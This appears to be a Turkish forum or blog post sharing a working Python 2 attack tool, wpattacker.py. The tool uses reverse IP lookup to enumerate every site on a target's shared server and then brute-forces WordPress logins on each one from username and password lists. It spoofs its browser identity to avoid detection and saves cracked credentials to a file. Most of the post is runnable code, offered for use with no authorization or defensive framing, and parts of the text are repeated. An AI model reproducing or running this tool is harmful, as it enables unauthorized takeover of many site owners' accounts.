Bu aracımız, bir web sunucuda barınan wordpress siteleri tespit edip onlar üzerinde zayıf parola tespiti yapmaktadır.
Saldırı Senaryosu:
Hedef sitenin barındığı sunucudaki tüm siteleri bulmak, daha sonra bu siteler içerisinden wordpress olduğunu tespit ettiğimiz sitelere user.txt ve pass.txt dosyalarında bulunan değerler ile deneme yanılma (brute force) saldırısını gerçekleştirmek. Bulunan parolaları da çıktı olarak kayıt etmek.
Algoritma:
Kod Paylaşımı:
Projeyi modül modül kodladık. bruteforce.py dosyamız:
Şimdi lookupip.py modülümüzde sıra:
Ana scriptimize geldi sıra. Üstteki modülleri modül olarak aktardığımız scriptimiz wpattacker.py :
Evet bütün kodlarımızı paylaştık. Python 2x ile kodladık. Daha önceki projelerimize göre artık gördüğünüz gibi daha düzenli, daha parçalı ve daha anlamlı kodlamaya çalışıyorum. Daha çok geliştirilebilir kod yazmak adına bunu yaptım. Ayrıca nesne tabanlı programlamak ruh haline de iyi gelmekte arkadaşlar, öneririm, eğlencelidir.
user.txt : wordpress sitesinde brute force attack yapmasını istediğimiz kullanıcı adlarının bulunduğu dosyamız. Sadece admin ekli dilerseniz altına başka kullanıcı adları da ekleyebilirsiniz.
pass.txt : kullanıcı adlarına denenecek olan parolalar. Yine bu kısma da alt alta olacak şekilde parola ekleyebilirsiniz.
Kullanım:
python file.py -u <link|ip adress> -w <text file>
Saldırı Senaryosu:
Hedef sitenin barındığı sunucudaki tüm siteleri bulmak, daha sonra bu siteler içerisinden wordpress olduğunu tespit ettiğimiz sitelere user.txt ve pass.txt dosyalarında bulunan değerler ile deneme yanılma (brute force) saldırısını gerçekleştirmek. Bulunan parolaları da çıktı olarak kayıt etmek.
Algoritma:
- Başla
- Sunucudaki tüm siteleri bul (reverse ip)
- Brute force yap
- Bulunan parolayı kayıt et
- Bitti
Kod Paylaşımı:
Projeyi modül modül kodladık. bruteforce.py dosyamız:
Code:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import mechanize #kütüphanemizi import ettik
class Tarayici(object): # sınıfınız
def __init__(self): # __init__
self.br = mechanize.Browser() # mechanize kütüphanesi içerisindeki Browser sınıfını örnekledik
self.br.set_handle_robots(False) # bot olduğumuzu kolay yoldan anlamamaları için
self.br.addheaders = [("User-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"),
("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
("Content-type","application/x-www-form-urlencoded; charset=UTF-8")] # tarayıcımıza header ekledik
self.red = "\033[31m" # kırmızı
self.white = "\033[97m" # beyaz
self.reset = "\033[0m" # resetleme
self.bold = "\033[1m" # koyu yazma
self.underline = "\033[4m" # altyazılı yazma
## dosya işlemleri
self.dosya = open("user.txt","r") #user.txt okumak için açtık
self.userid = [] #boş dizi
self.userid = self.dosya.read().split("\n") #parçaladık ve atadık dizimize değerleri
self.userid.remove("") # son satırda oluşan boş değerini diziden temizledik
self.dosya.close() # dosyamızı kapattık
######################
self.passid = []
self.dosya = open("pass.txt","r")
self.passid = self.dosya.read().split("\n")
self.passid.remove("")
self.dosya.close()
def attackWordpress (self,link,log,pwd): #fonksiyonumuz
self.site = "http://www."+link+"/wp-login.php" # linki düzenledik
self.br.open(self.site) # linki açtık
self.first_title = self.br.title() # gidilen linkin başlığını aldık
self.br.select_form(nr=0) # ilk formu seçtik
self.br["log"] = log #username
self.br["pwd"] = pwd #password
self.br.submit() # gönderdik
if self.first_title == self.br.title():# post sonrası açılan sayfanın başlığı ile ilk başlığı karşılaştırdık
print self.bold+self.red+"[!] FALSE >> "+log+" : "+pwd+" ---> "+link+self.reset
return 0
else:
print self.bold+self.white+"[+] TRUE >> "+log+" : "+pwd+" --->"+link+self.reset
return 1
def run(self,link,output): # fonksiyon
self.dosya = open(output,"a+") #output dosyasını açıyoruz
try:
for username in self.userid: # user.txt deki kullanıcı adları
for userpass in self.passid: # pass.txt deki parolalar
x = self.attackWordpress(link,username,userpass)
if x == 1:
self.dosya.write("[+] "+link+" >> "+username+" : "+userpass)
except Exception,e:
print e
print self.underline+"[?] Pass > "+self.site+self.reset
self.dosya.close() # output dosyasını kapa
Şimdi lookupip.py modülümüzde sıra:
Code:
#!/usr/bin/env python
#! -*- coding: utf-8 -*-
import urllib,urllib2,json
class ReverseIpLookup(object):
def __init__(self):
self.useragent = "Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0" #header için
self.contenttype = "application/x-www-form-urlencoded; charset=UTF-8" # header için
self.link = "http://domains.yougetsignal.com/domains.php" # post isteğini yapacağım link
self.key = "" # gönderilen boş bir değer
def gonder(self,target): # fonksiyonumuz
if target.startswith("http",0,4): # eğer gelen değerin ilk 4 karakteri http ise
return -1 # return -1
self.hedef = target # gelen hedef
self.values = [("remoteAddress",self.hedef),("key",self.key)] # list
data = urllib.urlencode(self.values) # html olarak encode ettik
req = urllib2.Request(self.link, data) # request isteğimiz
req.add_header("Content-type", self.contenttype) # header eklendi
req.add_header("User-agent", self.useragent) # header eklendi
response = urllib2.urlopen(req) # isteğimizi yapıyoruz
veri = json.loads(response.read()) # dönen değeri okuduk ve json'a ekledik
if veri["status"] == "Fail": # status fail ?
return -2 # return -2
return veri["domainArray"] # domainArray döndür
Ana scriptimize geldi sıra. Üstteki modülleri modül olarak aktardığımız scriptimiz wpattacker.py :
Code:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys,os,time
sys.path.append("./source/") # çalışma dizini için yol ekledik
import lookupip as lk #lookupip.py doseyamızı lk takma adı ile import ettik
import bruteforce as bf # bruteforce.py dosyamızı bf takma adı ile import ettik
if os.name == 'nt': # windows ise
os.system('cls') # cls linuxtaki clear fonksiyonu
else: # windows değilse
os.system('clear') # clear,, terminali temizleyen komut
class Color(object): # Color Sınıfımız
def __init__(self): # __init__
self.red = "\033[31m" # kırmızı
self.white = "\033[97m" # beyaz
self.reset = "\033[0m" # resetleme
self.bold = "\033[1m" # koyu yazma
self.underline = "\033[4m" # alt yazili yazma
yazi = Color() # Örnekledik...
class Help(object): # HELP sınıfımız
def __init__(self):
print yazi.bold+yazi.white+ "python file.py -u <link|ip adress> -w <text file>"+yazi.reset
print yazi.underline+yazi.red+ "Example :\n" + yazi.reset
print yazi.bold+yazi.red+ "python weak-password.py -u site.com -w ~/Desktop/cikti.txt\n"+yazi.reset
def start(link,filename): #start fonksiyonu
lookup = lk.ReverseIpLookup() # ReverseIpLookup sınıfını örnekledik
ret = lookup.gonder(link) # gonder fonksiyonuna link gönderdik
if ret == -1: # dönen değer -1 mi ?
Help() # HELP direkt olarak sınıfı çağırır __init__ çalışır.
time.sleep(2) # 2 sn bekle
sys.exit() # exit
elif ret == -2: # ret -2 mi ?
print yazi.bold+yazi.red+"[!] Ip engeli..."+yazi.reset # uyarı
time.sleep(2) # 2 sn bekle
sys.exit() # exit
for domain ,bosluk in ret: # dönen domainArray
calistir.run(domain,filename) #bruteforce için domainleri tek tek yolluyoruz
if __name__ == '__main__': # wpattacker.py çalışıyor mu ?
if len(sys.argv) == 5: # argüman sayısı 5 mi ?
if sys.argv[1] == "-u" and sys.argv[3] == "-w": # argv 1 ve argv 3 kontrol
calistir = bf.Tarayici() # bruteforce.py dosyasındaki Tarayici sınıfını örnekledik
start(sys.argv[2],sys.argv[4]) # start fonksiyonuna argümanları gönderdik
#print sys.argv[4]
else:
Help() # yardım
else:
Help() # yardım
Evet bütün kodlarımızı paylaştık. Python 2x ile kodladık. Daha önceki projelerimize göre artık gördüğünüz gibi daha düzenli, daha parçalı ve daha anlamlı kodlamaya çalışıyorum. Daha çok geliştirilebilir kod yazmak adına bunu yaptım. Ayrıca nesne tabanlı programlamak ruh haline de iyi gelmekte arkadaşlar, öneririm, eğlencelidir.
user.txt : wordpress sitesinde brute force attack yapmasını istediğimiz kullanıcı adlarının bulunduğu dosyamız. Sadece admin ekli dilerseniz altına başka kullanıcı adları da ekleyebilirsiniz.
pass.txt : kullanıcı adlarına denenecek olan parolalar. Yine bu kısma da alt alta olacak şekilde parola ekleyebilirsiniz.
Kullanım:
python file.py -u <link|ip adress> -w <text file>